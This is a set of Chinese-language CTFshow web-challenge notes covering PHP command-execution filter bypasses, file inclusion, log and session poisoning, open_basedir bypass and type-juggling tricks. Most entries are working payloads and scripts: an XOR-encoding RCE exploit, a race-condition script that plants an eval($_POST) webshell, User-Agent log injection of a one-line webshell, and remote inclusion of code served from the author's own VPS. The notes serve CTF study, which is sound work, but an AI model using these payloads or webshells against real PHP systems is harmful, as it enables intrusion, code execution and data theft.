CTFshow web入门笔记

1

查看源码


2


3

抓包,flag在响应里面


29

传入c参数,不能含flag,可以用通配符绕过,eval函数将字符串当作php代码执行,所以用system(‘cat *lag.php’)


30

过滤了system,flag和php,直接passthru(‘cat fl*’);


31

过滤了”cat sort shell”以及,点,空格,单引号

1.由于只对参数c进行了过滤,所以可以获取其他参数,c=eval($_GET[1]);&1=system(“cat fl*”)

2.

c=show_source(next(array_reverse(scandir(pos(localeconv())))));

localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回数组第一个"."
pos():输出数组第一个元素,不改变指针;
scandir();遍历目录,这里因为参数为"."所以遍历当前目录
array_reverse():元组倒置
next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码

3.%09,{$IFS},$IFS$9 绕过空格


32

文件包含 日志注入 过滤掉了flag|system|php|cat|sort|shell|.| |’|`|echo|;|( 包括点,单引号,反引号,分号,括号 再像前几关一样直接输入命令执行不大可能了,因为括号,分号,反引号都被过滤掉了,但是php中也有不需要括号的函数,如: echo 123; print 123; die; include “/etc/passwd”; require “/etc/passwd”; include_once “/etc/passwd”; require_once “etc/passwd”; 这里我们利用include构造payload url/?c=include$GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php 其中?>代替分号,页面会显示flag.php内容的base64编码,解码即可获取flag 还有一种方法,日志注入 url/?c=include$GET[1]?%3E&1=../../../../var/log/nginx/access.log /var/log/nginx/access.log是nginx默认的access日志路径,访问该路径时,在User-Agent中写入一句话木马,然后用中国蚁剑连接即可


37


39

?c=data://text/plain,<?php%20system(“tac fla*.php”);?> ?>为php结束符号,后面拼接的.php会被忽略掉,不用管


40

无参数RCE

法一

c=eval(array_pop(next(get_defined_vars())));//需要POST传入参数为1=system(‘tac fl*’);

get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。

next()将内部指针指向数组中的下一个元素,并输出。

array_pop() 函数删除数组中的最后一个元素并返回其值。

法二

c=show_source(next(array_reverse(scandir(pos(localeconv()))))); 或者 c=show_source(next(array_reverse(scandir(getcwd()))));

getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())

localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为”.”

pos():输出数组第一个元素,不改变指针;

current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样

scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为”.”所以遍历当前目录

array_reverse():数组逆置

next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以

show_source():查看源码

pos() 函数返回数组中的当前元素的值。该函数是current()函数的别名。

每个数组中都有一个内部的指针指向它的”当前”元素,初始指向插入到数组中的第一个元素。

提示:该函数不会移动数组内部指针。

相关的方法:

current()返回数组中的当前元素的值。

end()将内部指针指向数组中的最后一个元素,并输出。

next()将内部指针指向数组中的下一个元素,并输出。

prev()将内部指针指向数组中的上一个元素,并输出。

reset()将内部指针指向数组中的第一个元素,并输出。

each()返回当前元素的键名和键值,并将内部指针向前移动。


41

异或绕过

//xor.php
<?php
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
  }
 
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);
#python xor.py
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php xor.php")  #没有将php写入环境变量需手动运行
if(len(argv)!=2):
  print("="*50)
  print('USER:python exp.py <url>')
  print("eg: python exp.py http://ctf.show/")
  print("="*50)
  exit(0)
url=argv[1]
def action(arg):
  s1=""
  s2=""
  for i in arg:
      f=open("xor_rce.txt","r")
      while True:
          t=f.readline()
          if t=="":
              break
          if t[0]==i:
              #print(i)
              s1+=t[2:5]
              s2+=t[6:9]
              break
      f.close()
  output="(\""+s1+"\"|\""+s2+"\")"
  return(output)
 
while True:
  param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
  data={
      'c':urllib.parse.unquote(param)
      }
  r=requests.post(url,data=data)
  print("\n[*] result:\n"+r.text)

42

if(isset($_GET['c'])){
   $c=$_GET['c'];
   system($c." >/dev/null 2>&1");
}else{
   highlight_file(__FILE__);

/dev/null 2>&1 意思是将标准输出和标准错误都重定向到 /dev/null 即不回显#重定向至/dev/null即丢弃 ; //分号 | //只执行后面那条命令 || //只执行前面那条命令 & //两条命令都会执行 && //两条命令都会执行

可构造playload: url/?c=tac flag.php|| url/?c=tac flag.php%26 注意,这里的&需要url编码


43

比42题多过滤了cat和分号,那就用tac和||,不过||要url编码成%7C%7C

也可以用\绕过


44

多过滤flag,通配符绕过?c=tac f*%7C%7Cls


45

多过滤了空格,用$IFS$9或%09(table制表符)或%5C(反斜杠)绕过


46

‘/\;|cat|flag| |[0-9]|\$|*/i’

?c=tac%09fla?.php%7C%7Cls


47

?c=uniq%09fla?.php%7C%7Cls

uniq nl tac都可以


48


56

import time
import requests

url = "http://7c7374da-7245-4232-8215-59ae33ec2825.challenge.ctf.show/"
payload = {"c":". /???/????????[@-[]"}


with open('.\\1.txt','r') as file:
  files = {'file': file}
  while 1:
      r = requests.post(url,params=payload,files=files)

      if r.text:
          print("\n" + r.text)
          break

      time.sleep(1)
      print(".", end=' ',flush=True)
//1.txt
cat flag.php

57

通过$(())操作构造出36: $(()) :代表做一次运算,因为里面为空,也表示值为0

$(( ~$(()) )) :对0作取反运算,值为-1

$(( $((~$(()))) $((~$(()))) )): -1-1,也就是(-1)+(-1)为-2,所以值为-2

$(( ~$(( $((~$(()))) $((~$(()))) )) )) :再对-2做一次取反得到1,所以值为1

故我们在$(( ~$(( )) ))里面放37个$((~$(()))),得到-37,取反即可得到36:

python脚本

get_reverse_number = "$((~$(({}))))" # 取反操作
negative_one = "$((~$(())))" # -1
payload = get_reverse_number.format(negative_one*37)
print(payload)

~x=-x-1

~100=-100-1

首先看等号左边(100) 的二进制表示为: 0110 0100 按位取反的意思就是每一位取反,0变1,1变0 所以: ~100 的二进制表示为:1001 1011 所以等号左边=1001 1011

再看右边 -101. 一旦看到出现负数,那么这个数一定是按有符号数的规则来表示的。一个二进制数 按位取反并加一以后就可以得到它自己的负数的补码,也就是说: ~x+1=-x 所以,我们把101按位取反加一 先取反: ~101=10011010 再加一: ~101+1=10011011=-101 所以等号右边=10011011=左边,所以等号成立。

双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。 通俗地讲,就是将数学运算表达式放在((和))之间。 表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。 可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。 可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。 注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。


58

各种命令执行的函数都用不了

先c=print_r(scandir(getcwd()));查看当前目录下的文件(也可以pos(localeconv()))替换getcwd())

两种解法 POST传参:c=highlight_file(“flag.php”);(show_source()file_get_contents()也行) POST传参:c=include($_POST[‘w’]);&w=php://filter/convert.base64-encode/resource=flag.php


59

同上


60

同上


61


66

发现flag不在当前目录里面的flag.php里

print_r(scandir(‘/’));看一下根目录,发现flag.txt

直接highlight_file(‘/flag.txt’);


67

不能用print_r了,就用var_dump


68

同样flag在/flag.txt

不能用highlight_file()和file_get_contents()

那就文件包含

c=include($_POST[1]);&1=php://filter/convert.base64-encode/resource=/flag.txt

var_dump((new SplFileObject(“flag.txt”))->fpassthru());


69

不能用var_dump()了

可以用debug_zval_dump()var_export()替代

print和echo无法打印数组,也可以利用implode函数将数组转换成字符串再打印

echo(implode(‘—‘,scandir(‘/’)));

implode()第一个参数为分隔符

也可以用json_encode()

c=echo json_encode(scandir(‘/’));

读取函数readgzfile:可以读取非gz格式的文件


71

提前送出缓冲区或终止程序

        $s = ob_get_contents();
       ob_end_clean();
       echo preg_replace("/[0-9]|[a-z]/i","?",$s);

源码劫持了输出缓冲并且将数字和字母替换成了?

法一

在劫持输出缓冲区之前就把缓冲区送出,可以用的函数有:

ob_flush();
ob_end_flush();

payload示例:

c=include('/flag.txt');ob_flush();
法二

提前终止程序,即执行完代码直接退出,可以调用的函数有:

exit();
die();

payload示例:

c=include('/flag.txt');exit();

72

发现

var_export(scandir('.'));die();  #可以正常读取
var_export(scandir('/'));die(); #读取失败

猜测是开启了open_basedir。

open_basedir可将用户访问文件的活动范围限制在指定的区域,通常是其家目录的路径。

所以要先绕过open_basedir。首先排除命令执行绕过的可能,disable_function已经禁用了命令执行函数(不知道有没有什么办法绕过)。可以使用glob伪协议绕过,glob伪协议筛选目录不受open_basedir的制约。

DirectoryIterator+glob://
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

(需要url编码)

scandir()+glob://
<?php
var_dump(scandir('glob:///*'));
>
opendir()+readdir()+glob://
<?php
if ( $b = opendir('glob:///*') ) {
while ( ($file = readdir($b)) !== false ) {
echo $file."<br>";
}
closedir($b);
}
?>

同理,这种方法也只能列出根目录和open_basedir允许目录下的文件。 可以看到,上面三种和glob://相关的协议,最大的缺陷就是只能列目录,而且还只能列根目录和open_basedir允许目录的内容。


参考:https://forum.butian.net/share/533


73

同71


74

禁用了scandir()函数,用glob()函数

c=var_export(glob(‘../../../*’));die();

c=include(‘/flagx.txt’);die();


75

又设置了open_basedir的限制,先用global协议读取根目录的文件,发现flag36.txt,尝试用uaf去读取该文件,发现不能用strlen函数,此处就用mysql连接,用load_file()函数读取

try {
# 创建 PDO 实例, 连接 MySQL 数据库
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');#在不知道数据库名的情况下可以用information_schema代替

# 在 MySQL 中,load_file(完整路径) 函数读取一个文件并将其内容作为字符串返回。
foreach($dbh->query('select load_file("/flag36.txt")') as $row) {
echo($row[0])."|";
}

$dbh = null;
}

catch (PDOException $e) {
echo $e->getMessage();exit(0);
}

exit(0);

来看看ai对上面代码的解释

这段代码是一个PHP脚本,其目的是通过PDO(PHP Data Objects)扩展连接到MySQL数据库,并尝试使用load_file()函数读取服务器上的一个名为flag36.txt的文件,然后将文件内容输出。下面是代码的逐行解释:

  1. try {...} 开始一个异常处理块,用于捕获可能发生的任何异常。
  2. $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root'); 创建一个新的PDO实例,用于连接到名为ctftraining的MySQL数据库。这里假设数据库服务器运行在本地主机上,数据库用户名和密码都是root
  3. foreach($dbh->query('select load_file("/flag36.txt")') as $row) { ... } 执行一个SQL查询,使用load_file()函数尝试读取服务器上的/flag36.txt文件。foreach循环遍历查询结果,每次迭代获取一行。
  4. echo($row[0])."|"; 输出当前行的第一个字段(即文件内容),后面跟着一个竖线符号|
  5. $dbh = null; 关闭数据库连接。
  6. catch (PDOException $e) { ... } 捕获并处理PDOException类型的异常。如果连接数据库或执行查询时出现错误,将输出错误信息并退出脚本。
  7. echo $e->getMessage();exit(0); 输出异常的错误信息,并退出脚本。
  8. exit(0); 无论是否发生异常,脚本都会正常结束。

需要注意的是,load_file()函数只能读取数据库服务器所在机器上的文件,而且出于安全考虑,这个函数可能需要相应的权限,并且可能在某些配置中被禁用。此外,尝试读取服务器上的文件可能涉及到安全风险,尤其是当文件路径和名称来自用户输入时,这可能导致服务器文件泄露或其他安全问题。

如果你正在尝试解决一个CTF(Capture The Flag,一种网络安全竞赛)挑战,那么这段代码可能是挑战的一部分,你需要确保你有权访问目标服务器,并且你的行为符合所有相关的法律和道德标准。如果你是服务器管理员,并且这段代码是未经授权的,那么你需要考虑服务器的安全配置,避免潜在的安全风险。


76

和75一样,先用global协议找出flag36d.txt,后面用mysql连接


77

尝试沿用web75和76的思路,使用PDO连接MySQL数据库,然后使用load_file函数绕过文件读取的限制,读取flag,但是报 could not find driver的错误,表明此题无法使用PDO连接数据库。 查看writeup,此题利用的是PHP 7.4+的FFI特性,即外部函数接口特性,相关文档请查看PHP手册,这里我主要是对payload信息进行简单分析。

原文链接:https://blog.csdn.net/weixin_44700621/article/details/125381763

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

此处无法直接cat /flag36x.txt,猜测应该是权限不够,而/readflag应该是一个可执行文件

打开1.txt


78

直接用data://协议

file=data://text/plain,<?php system(‘ls’);>

发现flag.php

file=data://text/plain,<?php system(‘cat flag.php’);>


79

法一

?file=data://text/plain,<?=system(‘cat flag*’);?

也可以base64编码

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===> <?php system(‘cat flag.php’);

法二
payload: 

POST /?file=Php://input HTTP/1.1

<?Php system("ls");?>

POST /?file=Php://input HTTP/1.1

<?Php system("cat flag.php");?>

# 仅需在请求行 大写即可
法三

远程加载 加载robots.txt,发现可以回显 http://e382a8ae-a28f-4acd-9b8a-dbbd55f9a843.challenge.ctf.show/?file=https://www.baidu.com/robots.txt 在自己vps上创建1.txt,内容如下 <?php system("tac flag.php");?> 起一个http服务,加载 http://e382a8ae-a28f-4acd-9b8a-dbbd55f9a843.challenge.ctf.show/?file=http://8.x.x.x:7001/1.txt


80

法一

同79,

payload: 

POST /?file=Php://input HTTP/1.1

<?Php system("ls");?>

POST /?file=Php://input HTTP/1.1

<?Php system("cat flag.php");?>

# 仅需在请求行 大写即可
法二

远程加载 加载robots.txt,发现可以回显 http://e382a8ae-a28f-4acd-9b8a-dbbd55f9a843.challenge.ctf.show/?file=https://www.baidu.com/robots.txt 在自己vps上创建1.txt,内容如下 <?php system("tac flag.php");?> 起一个http服务,加载 http://e382a8ae-a28f-4acd-9b8a-dbbd55f9a843.challenge.ctf.show/?file=http://8.x.x.x:7001/1.txt

法三

日志文件包含

日志文件中包含了 url以及ua信息等,这里ua最容易控制,抓包改ua,写入一句话即可。如下第三行

GET /?file=/var/log/nginx/access.log HTTP/1.1
Host: 4e9bb3c0-1021-427e-81a3-42e5e6e13c39.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0<?php eval($_GET[2]);?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: UM_distinctid=17ffcdc88eb73a-022664ffe42c5b8-13676d4a-1fa400-17ffcdc88ec82c
Connection: close

可以直接命令执行即可也可以用webshell后门工具连接

?file=/var/log/nginx/access.log&2=system('ls /var/www/html');phpinfo();
?file=/var/log/nginx/access.log&2=system('tac /var/www/html/fl0g.php');phpinfo();

寻找PHPinfo信息前面的那一段信息即可找到


81

日志文件包含


82

session文件包含(条件竞争)

import requests
import io
import threading


url = "https://1f1cda6a-c896-4c19-a6d4-8d1cef1fb977.challenge.ctf.show/"
session_id = "guli"


def write(session):
filebytes = io.BytesIO(b'a' * 1024 * 50)
while True:
res = session.post(url,
data={
'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[2]);?>"
},
cookies={
'PHPSESSID': session_id
},
files={
'file': ('hhh.jpg', filebytes)
}
)


def read(session):
while True:
res = session.post(url+"?file=/tmp/sess_"+session_id,
data={
"2":"file_put_contents('/var/www/html/guli.php' , '<?php eval($_POST[3]);?>');"

},
cookies={
"PHPSESSID":session_id
}
)
res2 = session.get("https://1f1cda6a-c896-4c19-a6d4-8d1cef1fb977.challenge.ctf.show/guli.php")
if res2.status_code == 200:
print("成功写入一句话!")
else:
print("Retry")






if __name__ == "__main__":
evnet = threading.Event()
with requests.session() as session:
for i in range(5):
threading.Thread(target=write, args=(session,)).start()
for i in range(5):
threading.Thread(target=read, args=(session,)).start()
evnet.set()

元旦水友赛第一题也是此考点

参考:https://www.freebuf.com/vuls/202819.html


87

if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);


}else{
highlight_file(__FILE__);
}

file_put_contents函数将数据写入文件,这里的file参数使用了url解码函数,所以我们需要url编码两次,且是全字符url编码,以便绕过对特殊字符的过滤,后面content参数拼接了<?php die(‘大佬别秀了’);?>,这里我们可以采用base64解码写入数据,所以需要将数据先base64编码,PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==(<?php @eval($_POST[a]);?>),由于base64解码需要四字节一组,并且只会识别字母与几个特定字符,于是前面就只多了phpdie6个字符,所以需要添加两个字符来凑成八字符,即content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

88

if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}

用data://协议,这里用base64编码,由于过滤了+号和=号,我们要使base64编码后的字符串不含+和=,只需在?>加一些字符补位即可

?file=data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/PmFh

89

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}

preg_match当检测的变量是数组的时候会报错并返回0。而intval函数当传入的变量也是数组的时候,会返回1

90

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

intval(mixed $value, int $base = 10)

通过使用指定的进制 base 转换(默认是十进制),返回变量 value 的 int数值。

如果 base 是 0,通过检测 value 的格式来决定使用的进制:

  • 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
  • 如果字符串以 “0b” (或 “0B”) 开头,使用 2 进制 (binary);否则,
  • 如果字符串以 “0” 开始,使用 8 进制(octal);否则,
  • 将使用 10 进制 (decimal)。

这里base为0,我们可以用二进制八进制十六进制

num=0b1000101111100\\二进制

num=010574\\八进制

num=0x117c\\十六进制

num=4476.1

91

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

问题在于,这两个检查使用了不同的正则表达式匹配模式。第一个使用了’/im’,这意味着i(忽略大小写)和m(多行模式)。第二个只使用了’i’,也就是忽略大小写。

用换行符就好

url?cmd=%0aphp

92

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

90题的方法依旧可以

93

过滤了字符

八进制或浮点型

94

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

strpos($num, “0”)查找$num中的0首次出现的位置,并返回位置值,如果0在首位,或不存在0,都会返回false,即0,所以要加0

所以直接用浮点型

num=4476.10

也可以换行


95

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

num=%20010574

用空格占住第一个位置,所以0就不是首位了


96

highlight_file(__FILE__);

if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}


}
?u=/var/www/html/flag.php
?u=./flag.php
?u=php://filter/read=convert.base64-encode/resource=flag.php

97

方法一

利用fastcoll生成两个md5相同的字符串

a=%24%25%5E%2AY%26%5E%2A%26%2A%28%26%28%2A%28%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%0Bp%18%B3%07-Z%E87mzH0%E0%D9%0DN%AB%BBL%B6UG%0E%09R%3C%D2%AD%90C%15%14%1C%B4%0A%3Ag%D7%CE%87ZP%03%0E%3A1Q%E9%B0+%1B%92O%3D%017%CC%95%A2%85%E5%CDG%AA%ADg%EF%3B%C58e%F68_%8C%A8%88%B9%10%2B%83%0DF%DFR%1DO%7Em%9C%CB%5B%A0g%C1p%A0%BD%E9%82%25%9B%9F%9C%B8%EB0L8OO%09t%02%B8w%7C%BD%C8%2A%F7%E6M%93%E9%E2%A8&b=%24%25%5E%2AY%26%5E%2A%26%2A%28%26%28%2A%28%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%0Bp%18%B3%07-Z%E87mzH0%E0%D9%0DN%AB%BB%CC%B6UG%0E%09R%3C%D2%AD%90C%15%14%1C%B4%0A%3Ag%D7%CE%87ZP%03%0E%BA1Q%E9%B0+%1B%92O%3D%017%CC%95%22%85%E5%CDG%AA%ADg%EF%3B%C58e%F68_%8C%A8%88%B9%10%2B%83%0D%C6%DFR%1DO%7Em%9C%CB%5B%A0g%C1p%A0%BD%E9%82%25%9B%9F%9C%B8%EB0L%B8NO%09t%02%B8w%7C%BD%C8%2A%F7%E6%CD%93%E9%E2%A8
方法二

数组绕过

数组不能被转成md5,返回null,null==null,返回ture

a[]=1&b[]=2


98

知识点:=&是一个赋值操作符,它用于将一个变量的引用赋给另一个变量。这意味着两个变量将指向内存中的同一个值。如果修改其中一个变量的值,另一个变量也会相应地改变,因为它们引用的是相同的内存地址。

<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';//检查$_GET,如果存在,则将$_POST的值引用给$_GET,不存在则返回'flag'
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';//检查$_GET中flag是否存在,如果存在,则将$_COOKIE的值引用给$_GET,不存在则返回'flag'
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';//检查$_GET中flag是否存在,如果存在,则将$_SERVER的值引用给$_GET,不存在则返回'flag'
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

所以这题就是$_GET存在,并且POST传参数flag为flag,cookie里面设flag值为flag,http加个flag的header头,值为flag

PHP 将使用请求报头中的值创建其它元素,这些条目将命名为 HTTP_ 后跟报头名称,大写且使用下划线而不是连字符。例如 Accept-Language 报头将作为 $_SERVER['HTTP_ACCEPT_LANGUAGE'] 提供。


99

<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}

?>

我们可以发现数组中的值是int,而在弱类型中当php字符串和int比较时,字符串会被转换成int,所以 字符串中数字后面的字符串会被忽略。题目中的in_array没有设置type,我们可以输入字符串5.php(此处数字随意,只要在rand(1,0x36d)之间即可),转换之后也就是5,有概率写入失败,因为概率问题,多刷新几次就好。写入一句话木马即可。


100

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); //=的优先级大于and的优先级,所以只需要v1为数字即可
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}


?>
法一(预期解):

利用反射类

构造出:echo new ReflectionClass(‘ctfshow’);

payload:?v1=1&v2=echo%20new%20ReflectionClass&v3=;

法二(非预期):

payload:?v1=1&v2=var_dump($ctfshow)/*&v3=*/;

拼接后就是var_dump($ctfshow)/*’ctfshow’*/;将(‘ctfshow’)给注释掉然后将ctfshow类中的flag打印出来

法三(非预期):

payload:?v1=1&v2=?><?php echo `xxxx`/*&v3=*/;

任意命令执行


101

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}

?>

利用反射类

构造出:echo new ReflectionClass(‘ctfshow’);

payload:?v1=1&v2=echo%20new%20ReflectionClass&v3=;


102

<?php


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}


?>

这题的环境似乎不支持16进制绕过is_numeric函数,所以这里采用先将<?=`cat *` ;base64编码bin2hex转换,刚好只含字符e,可以当成数字,然后v1传入hex2bin进行解码,然后v3=php://filter/write=convert.base64-decode/resource=1.php

最后打开1.php,看源码即可


103

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-23 21:03:24

*/


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

?

与上题102相同


104

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:27:20

*/


highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}



?>

找两个sha1编码以0e开头,其余皆为数字的字符串,或者用两个数组绕过

aaroZmOk

aaO8zKZF

aa3OFF9m


105

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:34:07

*/

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>

url+?suces=flag

POST:error=suces

变量覆盖,将$flag赋值给$suces,$suces赋值给$error,由于POST没有传flag,默认回显$error,这时就回显$flag了


106

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:38:27

*/


highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}



?>

0e绕过或数组绕过


107

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 23:24:14

*/


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}



?>

parse_str()函数:parse_str(string $string,array &$result): void

如果 string 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )。

例:?a=b=1//a传给$a

parse($a,$c)即将b=1放入数组$c中

